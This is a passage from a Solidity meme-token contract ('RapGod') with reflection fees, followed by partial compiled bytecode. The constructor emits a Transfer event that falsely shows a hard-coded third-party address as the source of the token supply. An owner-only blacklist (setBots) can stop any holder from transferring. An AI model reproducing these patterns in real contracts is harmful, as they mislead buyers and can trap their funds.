Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 5; _teamFee = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 5; _teamFee = 20; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d79565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128a3565b61045e565b6040516101789190612d5e565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612efb565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612850565b610490565b6040516101e09190612d5e565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906127b6565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612f70565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061292c565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f91906127b6565b610786565b6040516102b19190612efb565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612c90565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612d79565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128a3565b610990565b60405161035b9190612d5e565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906128e3565b6109ae565b005b34801561039957600080fd5b506103a2610ad8565b005b3480156103b057600080fd5b506103b9610b52565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612986565b6110b4565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612810565b611200565b6040516104189190612efb565b60405180910390f35b60606040518060400160405280600681526020017f526170476f640000000000000000000000000000000000000000000000000000815250905090565b600061047261046b611287565b848461128f565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d84848461145a565b61055e846104a9611287565b6105598560405180606001604052806028815260200161364e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f611287565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b129092919063ffffffff16565b61128f565b600190509392505050565b610571611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612e5b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612e5b565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610755611287565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b76565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c71565b9050919050565b6107df611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612e5b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f526170476f6420f09f8ea4000000000000000000000000000000000000000000815250905090565b60006109a461099d611287565b848461145a565b6001905092915050565b6109b6611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612e5b565b60405180910390fd5b60005b8151811015610ad457600160066000848481518110610a6857610a676132b8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610acc90613211565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b19611287565b73ffffffffffffffffffffffffffffffffffffffff1614610b3957600080fd5b6000610b4430610786565b9050610b4f81611cdf565b50565b610b5a611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde90612e5b565b60405180910390fd5b601160149054906101000a900460ff1615610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90612edb565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cca30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061128f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1057600080fd5b505afa158015610d24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4891906127e3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610daa57600080fd5b505afa158015610dbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de291906127e3565b6040518363ffffffff1660e01b8152600401610dff929190612cab565b602060405180830381600087803b158015610e1957600080fd5b505af1158015610e2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5191906127e3565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eda30610786565b600080610ee561092a565b426040518863ffffffff1660e01b8152600401610f0796959493929190612cfd565b6060604051808303818588803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5991906129b3565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612cd4565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612959565b5050565b6110bc611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612e5b565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612e1b565b60405180910390fd5b6111be60646111b0836b033b2e3c9fd0803ce8000000611f6790919063ffffffff16565b611fe290919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516111f59190612efb565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f690612ebb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690612ddb565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144d9190612efb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c190612e9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561153a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153190612d9b565b60405180910390fd5b6000811161157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490612e7b565b60405180910390fd5b6005600a81905550600a600b8190555061159561092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160357506115d361092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a4f57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ac5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116b557600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117605750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117b65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117ce5750601160179054906101000a900460ff165b1561187e576012548111156117e257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061182d57600080fd5b601e4261183a9190613031565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119295750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561197f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611995576005600a819055506014600b819055505b60006119a030610786565b9050601160159054906101000a900460ff16158015611a0d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a255750601160169054906101000a900460ff165b15611a4d57611a3381611cdf565b60004790506000811115611a4b57611a4a47611b76565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611af65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b0057600090505b611b0c8484848461202c565b50505050565b6000838311158290611b5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b519190612d79565b60405180910390fd5b5060008385611b699190613112565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bc6600284611fe290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bf1573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c42600284611fe290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c6d573d6000803e3d6000fd5b5050565b6000600854821115611cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611caf90612dbb565b60405180910390fd5b6000611cc2612059565b9050611cd78184611fe290919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d1757611d166132e7565b5b604051908082528060200260200182016040528015611d455781602001602082028036833780820191505090505b5090503081600081518110611d5d57611d5c6132b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611dff57600080fd5b505afa158015611e13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e3791906127e3565b81600181518110611e4b57611e4a6132b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611eb230601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128f565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f16959493929190612f16565b600060405180830381600087803b158015611f3057600080fd5b505af1158015611f44573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611f7a5760009050611fdc565b60008284611f8891906130b8565b9050828482611f979190613087565b14611fd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fce90612e3b565b60405180910390fd5b809150505b92915050565b600061202483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612084565b905092915050565b8061203a576120396120e7565b5b61204584848461212a565b80612053576120526122f5565b5b50505050565b6000806000612066612309565b9150915061207d8183611fe290919063ffffffff16565b9250505090565b600080831182906120cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c29190612d79565b60405180910390fd5b50600083856120da9190613087565b9050809150509392505050565b6000600a541480156120fb57506000600b54145b1561210557612128565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061213c87612374565b95509550955095509550955061219a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123dc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227b81612484565b6122858483612541565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122e29190612efb565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123456b033b2e3c9fd0803ce8000000600854611fe290919063ffffffff16565b821015612367576008546b033b2e3c9fd0803ce8000000935093505050612370565b81819350935050505b9091565b60008060008060008060008060006123918a600a54600b5461257b565b92509250925060006123a1612059565b905060008060006123b48e878787612611565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061241e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b12565b905092915050565b60008082846124359190613031565b90508381101561247a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247190612dfb565b60405180910390fd5b8091505092915050565b600061248e612059565b905060006124a58284611f6790919063ffffffff16565b90506124f981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612556826008546123dc90919063ffffffff16565b6008819055506125718160095461242690919063ffffffff16565b6009819055505050565b6000806000806125a76064612599888a611f6790919063ffffffff16565b611fe290919063ffffffff16565b905060006125d160646125c3888b611f6790919063ffffffff16565b611fe290919063ffffffff16565b905060006125fa826125ec858c6123dc90919063ffffffff16565b6123dc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061262a8589611f6790919063ffffffff16565b905060006126418689611f6790919063ffffffff16565b905060006126588789611f6790919063ffffffff16565b905060006126818261267385876123dc90919063ffffffff16565b6123dc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126ad6126a884612fb0565b612f8b565b905080838252602082019050828560208602820111156126d0576126cf61331b565b5b60005b8581101561270057816126e6888261270a565b8452602084019350602083019250506001810190506126d3565b5050509392505050565b60008135905061271981613608565b92915050565b60008151905061272e81613608565b92915050565b600082601f83011261274957612748613316565b5b813561275984826020860161269a565b91505092915050565b6000813590506127718161361f565b92915050565b6000815190506127868161361f565b92915050565b60008135905061279b81613636565b92915050565b6000815190506127b081613636565b92915050565b6000602082840312156127cc576127cb613325565b5b60006127da8482850161270a565b91505092915050565b6000602082840312156127f9576127f8613325565b5b60006128078482850161271f565b91505092915050565b6000806040838503121561282757612826613325565b5b60006128358582860161270a565b92505060206128468582860161270a565b9150509250929050565b60008060006060848603121561286957612868613325565b5b60006128778682870161270a565b93505060206128888682870161270a565b92505060406128998682870161278c565b9150509250925092565b600080604083850312156128ba576128b9613325565b5b60006128c88582860161270a565b92505060206128d98582860161278c565b9150509250929050565b6000602082840312156128f9576128f8613325565b5b600082013567ffffffffffffffff81111561291757612916613320565b5b61292384828501612734565b91505092915050565b60006020828403121561294257612941613325565b5b600061295084828501612762565b91505092915050565b60006020828403121561296f5761296e613325565b5b600061297d84828501612777565b91505092915050565b60006020828403121561299c5761299b613325565b5b60006129aa8482850161278c565b91505092915050565b6000806000606084860312156129cc576129cb613325565b5b60006129da868287016127a1565b93505060206129eb868287016127a1565b92505060406129fc868287016127a1565b9150509250925092565b6000612a128383612a1e565b60208301905092915050565b612a2781613146565b82525050565b612a3681613146565b82525050565b6000612a4782612fec565b612a51818561300f565b9350612a5c83612fdc565b8060005b83811015612a8d578151612a748882612a06565b9750612a7f83613002565b925050600181019050612a60565b5085935050505092915050565b612aa381613158565b82525050565b612ab28161319b565b82525050565b6000612ac382612ff7565b612acd8185613020565b9350612add8185602086016131ad565b612ae68161332a565b840191505092915050565b6000612afe602383613020565b9150612b098261333b565b604082019050919050565b6000612b21602a83613020565b9150612b2c8261338a565b604082019050919050565b6000612b44602283613020565b9150612b4f826133d9565b604082019050919050565b6000612b67601b83613020565b9150612b7282613428565b602082019050919050565b6000612b8a601d83613020565b9150612b9582613451565b602082019050919050565b6000612bad602183613020565b9150612bb88261347a565b604082019050919050565b6000612bd0602083613020565b9150612bdb826134c9565b602082019050919050565b6000612bf3602983613020565b9150612bfe826134f2565b604082019050919050565b6000612c16602583613020565b9150612c2182613541565b604082019050919050565b6000612c39602483613020565b9150612c4482613590565b604082019050919050565b6000612c5c601783613020565b9150612c67826135df565b602082019050919050565b612c7b81613184565b82525050565b612c8a8161318e565b82525050565b6000602082019050612ca56000830184612a2d565b92915050565b6000604082019050612cc06000830185612a2d565b612ccd6020830184612a2d565b9392505050565b6000604082019050612ce96000830185612a2d565b612cf66020830184612c72565b9392505050565b600060c082019050612d126000830189612a2d565b612d1f6020830188612c72565b612d2c6040830187612aa9565b612d396060830186612aa9565b612d466080830185612a2d565b612d5360a0830184612c72565b979650505050505050565b6000602082019050612d736000830184612a9a565b92915050565b60006020820190508181036000830152612d938184612ab8565b905092915050565b60006020820190508181036000830152612db481612af1565b9050919050565b60006020820190508181036000830152612dd481612b14565b9050919050565b60006020820190508181036000830152612df481612b37565b9050919050565b60006020820190508181036000830152612e1481612b5a565b9050919050565b60006020820190508181036000830152612e3481612b7d565b9050919050565b60006020820190508181036000830152612e5481612ba0565b9050919050565b60006020820190508181036000830152612e7481612bc3565b9050919050565b60006020820190508181036000830152612e9481612be6565b9050919050565b60006020820190508181036000830152612eb481612c09565b9050919050565b60006020820190508181036000830152612ed481612c2c565b9050919050565b60006020820190508181036000830152612ef481612c4f565b9050919050565b6000602082019050612f106000830184612c72565b92915050565b600060a082019050612f2b6000830188612c72565b612f386020830187612aa9565b8181036040830152612f4a8186612a3c565b9050612f596060830185612a2d565b612f666080830184612c72565b9695505050505050565b6000602082019050612f856000830184612c81565b92915050565b6000612f95612fa6565b9050612fa182826131e0565b919050565b6000604051905090565b600067ffffffffffffffff821115612fcb57612fca6132e7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061303c82613184565b915061304783613184565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561307c5761307b61325a565b5b828201905092915050565b600061309282613184565b915061309d83613184565b9250826130ad576130ac613289565b5b828204905092915050565b60006130c382613184565b91506130ce83613184565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131075761310661325a565b5b828202905092915050565b600061311d82613184565b915061312883613184565b92508282101561313b5761313a61325a565b5b828203905092915050565b600061315182613164565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131a682613184565b9050919050565b60005b838110156131cb5780820151818401526020810190506131b0565b838111156131da576000848401525b50505050565b6131e98261332a565b810181811067ffffffffffffffff82111715613208576132076132e7565b5b80604052505050565b600061321c82613184565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561324f5761324e61325a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f